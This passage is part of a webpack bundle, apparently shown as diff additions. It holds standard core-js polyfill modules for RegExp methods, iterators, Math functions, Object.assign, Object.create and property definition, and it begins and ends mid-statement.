__webpack_require__(/*! ./_defined */ "./node_modules/core-js/modules/_defined.js"); +var wks = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js"); +var regexpExec = __webpack_require__(/*! ./_regexp-exec */ "./node_modules/core-js/modules/_regexp-exec.js"); + +var SPECIES = wks('species'); + +var REPLACE_SUPPORTS_NAMED_GROUPS = !fails(function () { + // #replace needs built-in support for named groups. + // #match works fine because it just return the exec results, even if it has + // a "grops" property. + var re = /./; + re.exec = function () { + var result = []; + result.groups = { a: '7' }; + return result; + }; + return ''.replace(re, '$') !== '7'; +}); + +var SPLIT_WORKS_WITH_OVERWRITTEN_EXEC = (function () { + // Chrome 51 has a buggy "split" implementation when RegExp#exec !== nativeExec + var re = /(?:)/; + var originalExec = re.exec; + re.exec = function () { return originalExec.apply(this, arguments); }; + var result = 'ab'.split(re); + return result.length === 2 && result[0] === 'a' && result[1] === 'b'; +})(); + +module.exports = function (KEY, length, exec) { + var SYMBOL = wks(KEY); + + var DELEGATES_TO_SYMBOL = !fails(function () { + // String methods call symbol-named RegEp methods + var O = {}; + O[SYMBOL] = function () { return 7; }; + return ''[KEY](O) != 7; + }); + + var DELEGATES_TO_EXEC = DELEGATES_TO_SYMBOL ? !fails(function () { + // Symbol-named RegExp methods call .exec + var execCalled = false; + var re = /a/; + re.exec = function () { execCalled = true; return null; }; + if (KEY === 'split') { + // RegExp[@@split] doesn't call the regex's exec method, but first creates + // a new one. We need to return the patched regex when creating the new one. + re.constructor = {}; + re.constructor[SPECIES] = function () { return re; }; + } + re[SYMBOL](''); + return !execCalled; + }) : undefined; + + if ( + !DELEGATES_TO_SYMBOL || + !DELEGATES_TO_EXEC || + (KEY === 'replace' && !REPLACE_SUPPORTS_NAMED_GROUPS) || + (KEY === 'split' && !SPLIT_WORKS_WITH_OVERWRITTEN_EXEC) + ) { + var nativeRegExpMethod = /./[SYMBOL]; + var fns = exec( + defined, + SYMBOL, + ''[KEY], + function maybeCallNative(nativeMethod, regexp, str, arg2, forceStringMethod) { + if (regexp.exec === regexpExec) { + if (DELEGATES_TO_SYMBOL && !forceStringMethod) { + // The native String method already delegates to @@method (this + // polyfilled function), leasing to infinite recursion. + // We avoid it by directly calling the native @@method method. + return { done: true, value: nativeRegExpMethod.call(regexp, str, arg2) }; + } + return { done: true, value: nativeMethod.call(str, regexp, arg2) }; + } + return { done: false }; + } + ); + var strfn = fns[0]; + var rxfn = fns[1]; + + redefine(String.prototype, KEY, strfn); + hide(RegExp.prototype, SYMBOL, length == 2 + // 21.2.5.8 RegExp.prototype[@@replace](string, replaceValue) + // 21.2.5.11 RegExp.prototype[@@split](string, limit) + ? function (string, arg) { return rxfn.call(string, this, arg); } + // 21.2.5.6 RegExp.prototype[@@match](string) + // 21.2.5.9 RegExp.prototype[@@search](string) + : function (string) { return rxfn.call(string, this); } + ); + } +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_flags.js": +/*!************************************************!*\ + !*** ./node_modules/core-js/modules/_flags.js ***! + \************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 21.2.5.3 get RegExp.prototype.flags +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +module.exports = function () { + var that = anObject(this); + var result = ''; + if (that.global) result += 'g'; + if (that.ignoreCase) result += 'i'; + if (that.multiline) result += 'm'; + if (that.unicode) result += 'u'; + if (that.sticky) result += 'y'; + return result; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_for-of.js": +/*!*************************************************!*\ + !*** ./node_modules/core-js/modules/_for-of.js ***! + \*************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var ctx = __webpack_require__(/*! ./_ctx */ "./node_modules/core-js/modules/_ctx.js"); +var call = __webpack_require__(/*! ./_iter-call */ "./node_modules/core-js/modules/_iter-call.js"); +var isArrayIter = __webpack_require__(/*! ./_is-array-iter */ "./node_modules/core-js/modules/_is-array-iter.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var getIterFn = __webpack_require__(/*! ./core.get-iterator-method */ "./node_modules/core-js/modules/core.get-iterator-method.js"); +var BREAK = {}; +var RETURN = {}; +var exports = module.exports = function (iterable, entries, fn, that, ITERATOR) { + var iterFn = ITERATOR ? function () { return iterable; } : getIterFn(iterable); + var f = ctx(fn, that, entries ? 2 : 1); + var index = 0; + var length, step, iterator, result; + if (typeof iterFn != 'function') throw TypeError(iterable + ' is not iterable!'); + // fast case for arrays with default iterator + if (isArrayIter(iterFn)) for (length = toLength(iterable.length); length > index; index++) { + result = entries ? f(anObject(step = iterable[index])[0], step[1]) : f(iterable[index]); + if (result === BREAK || result === RETURN) return result; + } else for (iterator = iterFn.call(iterable); !(step = iterator.next()).done;) { + result = call(iterator, f, step.value, entries); + if (result === BREAK || result === RETURN) return result; + } +}; +exports.BREAK = BREAK; +exports.RETURN = RETURN; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_function-to-string.js": +/*!*************************************************************!*\ + !*** ./node_modules/core-js/modules/_function-to-string.js ***! + \*************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +module.exports = __webpack_require__(/*! ./_shared */ "./node_modules/core-js/modules/_shared.js")('native-function-to-string', Function.toString); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_global.js": +/*!*************************************************!*\ + !*** ./node_modules/core-js/modules/_global.js ***! + \*************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// https://github.com/zloirock/core-js/issues/86#issuecomment-115759028 +var global = module.exports = typeof window != 'undefined' && window.Math == Math + ? window : typeof self != 'undefined' && self.Math == Math ? self + // eslint-disable-next-line no-new-func + : Function('return this')(); +if (typeof __g == 'number') __g = global; // eslint-disable-line no-undef + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_has.js": +/*!**********************************************!*\ + !*** ./node_modules/core-js/modules/_has.js ***! + \**********************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +var hasOwnProperty = {}.hasOwnProperty; +module.exports = function (it, key) { + return hasOwnProperty.call(it, key); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_hide.js": +/*!***********************************************!*\ + !*** ./node_modules/core-js/modules/_hide.js ***! + \***********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js"); +var createDesc = __webpack_require__(/*! ./_property-desc */ "./node_modules/core-js/modules/_property-desc.js"); +module.exports = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") ? function (object, key, value) { + return dP.f(object, key, createDesc(1, value)); +} : function (object, key, value) { + object[key] = value; + return object; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_html.js": +/*!***********************************************!*\ + !*** ./node_modules/core-js/modules/_html.js ***! + \***********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var document = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").document; +module.exports = document && document.documentElement; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_ie8-dom-define.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/_ie8-dom-define.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +module.exports = !__webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") && !__webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + return Object.defineProperty(__webpack_require__(/*! ./_dom-create */ "./node_modules/core-js/modules/_dom-create.js")('div'), 'a', { get: function () { return 7; } }).a != 7; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_inherit-if-required.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/_inherit-if-required.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var setPrototypeOf = __webpack_require__(/*! ./_set-proto */ "./node_modules/core-js/modules/_set-proto.js").set; +module.exports = function (that, target, C) { + var S = target.constructor; + var P; + if (S !== C && typeof S == 'function' && (P = S.prototype) !== C.prototype && isObject(P) && setPrototypeOf) { + setPrototypeOf(that, P); + } return that; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_invoke.js": +/*!*************************************************!*\ + !*** ./node_modules/core-js/modules/_invoke.js ***! + \*************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// fast apply, http://jsperf.lnkit.com/fast-apply/5 +module.exports = function (fn, args, that) { + var un = that === undefined; + switch (args.length) { + case 0: return un ? fn() + : fn.call(that); + case 1: return un ? fn(args[0]) + : fn.call(that, args[0]); + case 2: return un ? fn(args[0], args[1]) + : fn.call(that, args[0], args[1]); + case 3: return un ? fn(args[0], args[1], args[2]) + : fn.call(that, args[0], args[1], args[2]); + case 4: return un ? fn(args[0], args[1], args[2], args[3]) + : fn.call(that, args[0], args[1], args[2], args[3]); + } return fn.apply(that, args); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_iobject.js": +/*!**************************************************!*\ + !*** ./node_modules/core-js/modules/_iobject.js ***! + \**************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// fallback for non-array-like ES3 and non-enumerable old V8 strings +var cof = __webpack_require__(/*! ./_cof */ "./node_modules/core-js/modules/_cof.js"); +// eslint-disable-next-line no-prototype-builtins +module.exports = Object('z').propertyIsEnumerable(0) ? Object : function (it) { + return cof(it) == 'String' ? it.split('') : Object(it); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_is-array-iter.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/_is-array-iter.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// check on default Array iterator +var Iterators = __webpack_require__(/*! ./_iterators */ "./node_modules/core-js/modules/_iterators.js"); +var ITERATOR = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('iterator'); +var ArrayProto = Array.prototype; + +module.exports = function (it) { + return it !== undefined && (Iterators.Array === it || ArrayProto[ITERATOR] === it); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_is-array.js": +/*!***************************************************!*\ + !*** ./node_modules/core-js/modules/_is-array.js ***! + \***************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 7.2.2 IsArray(argument) +var cof = __webpack_require__(/*! ./_cof */ "./node_modules/core-js/modules/_cof.js"); +module.exports = Array.isArray || function isArray(arg) { + return cof(arg) == 'Array'; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_is-integer.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_is-integer.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.1.2.3 Number.isInteger(number) +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var floor = Math.floor; +module.exports = function isInteger(it) { + return !isObject(it) && isFinite(it) && floor(it) === it; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_is-object.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_is-object.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (it) { + return typeof it === 'object' ? it !== null : typeof it === 'function'; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_is-regexp.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_is-regexp.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 7.2.8 IsRegExp(argument) +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var cof = __webpack_require__(/*! ./_cof */ "./node_modules/core-js/modules/_cof.js"); +var MATCH = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('match'); +module.exports = function (it) { + var isRegExp; + return isObject(it) && ((isRegExp = it[MATCH]) !== undefined ? !!isRegExp : cof(it) == 'RegExp'); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_iter-call.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_iter-call.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// call something on iterator step with safe closing on error +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +module.exports = function (iterator, fn, value, entries) { + try { + return entries ? fn(anObject(value)[0], value[1]) : fn(value); + // 7.4.6 IteratorClose(iterator, completion) + } catch (e) { + var ret = iterator['return']; + if (ret !== undefined) anObject(ret.call(iterator)); + throw e; + } +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_iter-create.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_iter-create.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var create = __webpack_require__(/*! ./_object-create */ "./node_modules/core-js/modules/_object-create.js"); +var descriptor = __webpack_require__(/*! ./_property-desc */ "./node_modules/core-js/modules/_property-desc.js"); +var setToStringTag = __webpack_require__(/*! ./_set-to-string-tag */ "./node_modules/core-js/modules/_set-to-string-tag.js"); +var IteratorPrototype = {}; + +// 25.1.2.1.1 %IteratorPrototype%[@@iterator]() +__webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js")(IteratorPrototype, __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('iterator'), function () { return this; }); + +module.exports = function (Constructor, NAME, next) { + Constructor.prototype = create(IteratorPrototype, { next: descriptor(1, next) }); + setToStringTag(Constructor, NAME + ' Iterator'); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_iter-define.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_iter-define.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var LIBRARY = __webpack_require__(/*! ./_library */ "./node_modules/core-js/modules/_library.js"); +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js"); +var hide = __webpack_require__(/*! ./_hide */ "./node_modules/core-js/modules/_hide.js"); +var Iterators = __webpack_require__(/*! ./_iterators */ "./node_modules/core-js/modules/_iterators.js"); +var $iterCreate = __webpack_require__(/*! ./_iter-create */ "./node_modules/core-js/modules/_iter-create.js"); +var setToStringTag = __webpack_require__(/*! ./_set-to-string-tag */ "./node_modules/core-js/modules/_set-to-string-tag.js"); +var getPrototypeOf = __webpack_require__(/*! ./_object-gpo */ "./node_modules/core-js/modules/_object-gpo.js"); +var ITERATOR = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('iterator'); +var BUGGY = !([].keys && 'next' in [].keys()); // Safari has buggy iterators w/o `next` +var FF_ITERATOR = '@@iterator'; +var KEYS = 'keys'; +var VALUES = 'values'; + +var returnThis = function () { return this; }; + +module.exports = function (Base, NAME, Constructor, next, DEFAULT, IS_SET, FORCED) { + $iterCreate(Constructor, NAME, next); + var getMethod = function (kind) { + if (!BUGGY && kind in proto) return proto[kind]; + switch (kind) { + case KEYS: return function keys() { return new Constructor(this, kind); }; + case VALUES: return function values() { return new Constructor(this, kind); }; + } return function entries() { return new Constructor(this, kind); }; + }; + var TAG = NAME + ' Iterator'; + var DEF_VALUES = DEFAULT == VALUES; + var VALUES_BUG = false; + var proto = Base.prototype; + var $native = proto[ITERATOR] || proto[FF_ITERATOR] || DEFAULT && proto[DEFAULT]; + var $default = $native || getMethod(DEFAULT); + var $entries = DEFAULT ? !DEF_VALUES ? $default : getMethod('entries') : undefined; + var $anyNative = NAME == 'Array' ? proto.entries || $native : $native; + var methods, key, IteratorPrototype; + // Fix native + if ($anyNative) { + IteratorPrototype = getPrototypeOf($anyNative.call(new Base())); + if (IteratorPrototype !== Object.prototype && IteratorPrototype.next) { + // Set @@toStringTag to native iterators + setToStringTag(IteratorPrototype, TAG, true); + // fix for some old engines + if (!LIBRARY && typeof IteratorPrototype[ITERATOR] != 'function') hide(IteratorPrototype, ITERATOR, returnThis); + } + } + // fix Array#{values, @@iterator}.name in V8 / FF + if (DEF_VALUES && $native && $native.name !== VALUES) { + VALUES_BUG = true; + $default = function values() { return $native.call(this); }; + } + // Define iterator + if ((!LIBRARY || FORCED) && (BUGGY || VALUES_BUG || !proto[ITERATOR])) { + hide(proto, ITERATOR, $default); + } + // Plug for library + Iterators[NAME] = $default; + Iterators[TAG] = returnThis; + if (DEFAULT) { + methods = { + values: DEF_VALUES ? $default : getMethod(VALUES), + keys: IS_SET ? $default : getMethod(KEYS), + entries: $entries + }; + if (FORCED) for (key in methods) { + if (!(key in proto)) redefine(proto, key, methods[key]); + } else $export($export.P + $export.F * (BUGGY || VALUES_BUG), NAME, methods); + } + return methods; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_iter-detect.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_iter-detect.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var ITERATOR = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('iterator'); +var SAFE_CLOSING = false; + +try { + var riter = [7][ITERATOR](); + riter['return'] = function () { SAFE_CLOSING = true; }; + // eslint-disable-next-line no-throw-literal + Array.from(riter, function () { throw 2; }); +} catch (e) { /* empty */ } + +module.exports = function (exec, skipClosing) { + if (!skipClosing && !SAFE_CLOSING) return false; + var safe = false; + try { + var arr = [7]; + var iter = arr[ITERATOR](); + iter.next = function () { return { done: safe = true }; }; + arr[ITERATOR] = function () { return iter; }; + exec(arr); + } catch (e) { /* empty */ } + return safe; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_iter-step.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_iter-step.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = function (done, value) { + return { value: value, done: !!done }; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_iterators.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_iterators.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = {}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_library.js": +/*!**************************************************!*\ + !*** ./node_modules/core-js/modules/_library.js ***! + \**************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +module.exports = false; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_math-expm1.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_math-expm1.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// 20.2.2.14 Math.expm1(x) +var $expm1 = Math.expm1; +module.exports = (!$expm1 + // Old FF bug + || $expm1(10) > 22025.465794806719 || $expm1(10) < 22025.4657948067165168 + // Tor Browser bug + || $expm1(-2e-17) != -2e-17 +) ? function expm1(x) { + return (x = +x) == 0 ? x : x > -1e-6 && x < 1e-6 ? x + x * x / 2 : Math.exp(x) - 1; +} : $expm1; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_math-fround.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_math-fround.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.16 Math.fround(x) +var sign = __webpack_require__(/*! ./_math-sign */ "./node_modules/core-js/modules/_math-sign.js"); +var pow = Math.pow; +var EPSILON = pow(2, -52); +var EPSILON32 = pow(2, -23); +var MAX32 = pow(2, 127) * (2 - EPSILON32); +var MIN32 = pow(2, -126); + +var roundTiesToEven = function (n) { + return n + 1 / EPSILON - 1 / EPSILON; +}; + +module.exports = Math.fround || function fround(x) { + var $abs = Math.abs(x); + var $sign = sign(x); + var a, result; + if ($abs < MIN32) return $sign * roundTiesToEven($abs / MIN32 / EPSILON32) * MIN32 * EPSILON32; + a = (1 + EPSILON32 / EPSILON) * $abs; + result = a - (a - $abs); + // eslint-disable-next-line no-self-compare + if (result > MAX32 || result != result) return $sign * Infinity; + return $sign * result; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_math-log1p.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_math-log1p.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// 20.2.2.20 Math.log1p(x) +module.exports = Math.log1p || function log1p(x) { + return (x = +x) > -1e-8 && x < 1e-8 ? x - x * x / 2 : Math.log(1 + x); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_math-sign.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_math-sign.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports) { + +// 20.2.2.28 Math.sign(x) +module.exports = Math.sign || function sign(x) { + // eslint-disable-next-line no-self-compare + return (x = +x) == 0 || x != x ? x : x < 0 ? -1 : 1; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_meta.js": +/*!***********************************************!*\ + !*** ./node_modules/core-js/modules/_meta.js ***! + \***********************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var META = __webpack_require__(/*! ./_uid */ "./node_modules/core-js/modules/_uid.js")('meta'); +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var setDesc = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f; +var id = 0; +var isExtensible = Object.isExtensible || function () { + return true; +}; +var FREEZE = !__webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + return isExtensible(Object.preventExtensions({})); +}); +var setMeta = function (it) { + setDesc(it, META, { value: { + i: 'O' + ++id, // object ID + w: {} // weak collections IDs + } }); +}; +var fastKey = function (it, create) { + // return primitive with prefix + if (!isObject(it)) return typeof it == 'symbol' ? it : (typeof it == 'string' ? 'S' : 'P') + it; + if (!has(it, META)) { + // can't set metadata to uncaught frozen object + if (!isExtensible(it)) return 'F'; + // not necessary to add metadata + if (!create) return 'E'; + // add missing metadata + setMeta(it); + // return object ID + } return it[META].i; +}; +var getWeak = function (it, create) { + if (!has(it, META)) { + // can't set metadata to uncaught frozen object + if (!isExtensible(it)) return true; + // not necessary to add metadata + if (!create) return false; + // add missing metadata + setMeta(it); + // return hash weak collections IDs + } return it[META].w; +}; +// add metadata on freeze-family methods calling +var onFreeze = function (it) { + if (FREEZE && meta.NEED && isExtensible(it) && !has(it, META)) setMeta(it); + return it; +}; +var meta = module.exports = { + KEY: META, + NEED: false, + fastKey: fastKey, + getWeak: getWeak, + onFreeze: onFreeze +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-assign.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/_object-assign.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 19.1.2.1 Object.assign(target, source, ...) +var DESCRIPTORS = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js"); +var getKeys = __webpack_require__(/*! ./_object-keys */ "./node_modules/core-js/modules/_object-keys.js"); +var gOPS = __webpack_require__(/*! ./_object-gops */ "./node_modules/core-js/modules/_object-gops.js"); +var pIE = __webpack_require__(/*! ./_object-pie */ "./node_modules/core-js/modules/_object-pie.js"); +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var IObject = __webpack_require__(/*! ./_iobject */ "./node_modules/core-js/modules/_iobject.js"); +var $assign = Object.assign; + +// should work with symbols and should have deterministic property order (V8 bug) +module.exports = !$assign || __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + var A = {}; + var B = {}; + // eslint-disable-next-line no-undef + var S = Symbol(); + var K = 'abcdefghijklmnopqrst'; + A[S] = 7; + K.split('').forEach(function (k) { B[k] = k; }); + return $assign({}, A)[S] != 7 || Object.keys($assign({}, B)).join('') != K; +}) ? function assign(target, source) { // eslint-disable-line no-unused-vars + var T = toObject(target); + var aLen = arguments.length; + var index = 1; + var getSymbols = gOPS.f; + var isEnum = pIE.f; + while (aLen > index) { + var S = IObject(arguments[index++]); + var keys = getSymbols ? getKeys(S).concat(getSymbols(S)) : getKeys(S); + var length = keys.length; + var j = 0; + var key; + while (length > j) { + key = keys[j++]; + if (!DESCRIPTORS || isEnum.call(S, key)) T[key] = S[key]; + } + } return T; +} : $assign; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-create.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/_object-create.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties]) +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var dPs = __webpack_require__(/*! ./_object-dps */ "./node_modules/core-js/modules/_object-dps.js"); +var enumBugKeys = __webpack_require__(/*! ./_enum-bug-keys */ "./node_modules/core-js/modules/_enum-bug-keys.js"); +var IE_PROTO = __webpack_require__(/*! ./_shared-key */ "./node_modules/core-js/modules/_shared-key.js")('IE_PROTO'); +var Empty = function () { /* empty */ }; +var PROTOTYPE = 'prototype'; + +// Create object with fake `null` prototype: use iframe Object with cleared prototype +var createDict = function () { + // Thrash, waste and sodomy: IE GC bug + var iframe = __webpack_require__(/*! ./_dom-create */ "./node_modules/core-js/modules/_dom-create.js")('iframe'); + var i = enumBugKeys.length; + var lt = '<'; + var gt = '>'; + var iframeDocument; + iframe.style.display = 'none'; + __webpack_require__(/*! ./_html */ "./node_modules/core-js/modules/_html.js").appendChild(iframe); + iframe.src = 'javascript:'; // eslint-disable-line no-script-url + // createDict = iframe.contentWindow.Object; + // html.removeChild(iframe); + iframeDocument = iframe.contentWindow.document; + iframeDocument.open(); + iframeDocument.write(lt + 'script' + gt + 'document.F=Object' + lt + '/script' + gt); + iframeDocument.close(); + createDict = iframeDocument.F; + while (i--) delete createDict[PROTOTYPE][enumBugKeys[i]]; + return createDict(); +}; + +module.exports = Object.create || function create(O, Properties) { + var result; + if (O !== null) { + Empty[PROTOTYPE] = anObject(O); + result = new Empty(); + Empty[PROTOTYPE] = null; + // add "__proto__" for Object.getPrototypeOf polyfill + result[IE_PROTO] = O; + } else result = createDict(); + return Properties === undefined ? result : dPs(result, Properties); +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-dp.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/_object-dp.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var IE8_DOM_DEFINE = __webpack_require__(/*! ./_ie8-dom-define */ "./node_modules/core-js/modules/_ie8-dom-define.js"); +var toPrimitive = __webpack_require__(/*! ./_to-primitive */ "./node_modules/core-js/modules/_to-primitive.js"); +var dP = Object.defineProperty; + +exports.f = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") ? Object.defineProperty : function defineProperty(O, P, Attributes) { + anObject(O); + P = toPrimitive(P, true); + anObject(Attributes); + if (IE8_DOM_DEFINE) try { + return dP(O, P, Attributes); + } catch (e) { /* empty */ } + if ('get' in Attributes || 'set' in Attributes) throw TypeError('Accessors not supported!'); + if ('value' in Attributes) O[P] = Attributes.value; + return O; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-dps.js": +/*!*****************************************************!*\ + !*** ./node_modules/core-js/modules/_object-dps.js ***! + \*****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var getKeys = __webpack_require__(/*! ./_object-keys */ "./node_modules/core-js/modules/_object-keys.js"); + +module.exports = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") ? Object.defineProperties : function defineProperties(O, Properties) { + anObject(O); + var keys = getKeys(Properties); + var length = keys.length; + var i = 0; + var P; + while (length > i) dP.f(O, P = keys[i++], Properties[P]); + return O; +}; + + +/***/ }), + +/***/ "./node_modules/core-js/modules/_object-gopd.js": +/*!******************************************************!*\ + !*** ./node_modules/core-js/modules/_object-gopd.js ***! + \******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var pIE = __webpack_require__(/*! ./_object-pie */ "./node_modules/core-js/modules/_object-pie.js"); +var createDesc = __webpack_require__(/*! ./_property-desc */ "./node_modules/core-js/modules/_property-desc.js"); +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); +var toPrimitive = __webpack_require__(/*! ./_to-primitive */ "./node_modules/core-js/modules/_to-primitive.js"); +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var IE8_DOM_DEFINE = __webpack_require__(/*! ./_ie8-dom-define */ "./node_modules/core-js/modules/_ie8-dom-define.js"); +var gOPD = Object.getOwnPropertyDescriptor; + +exports.f = 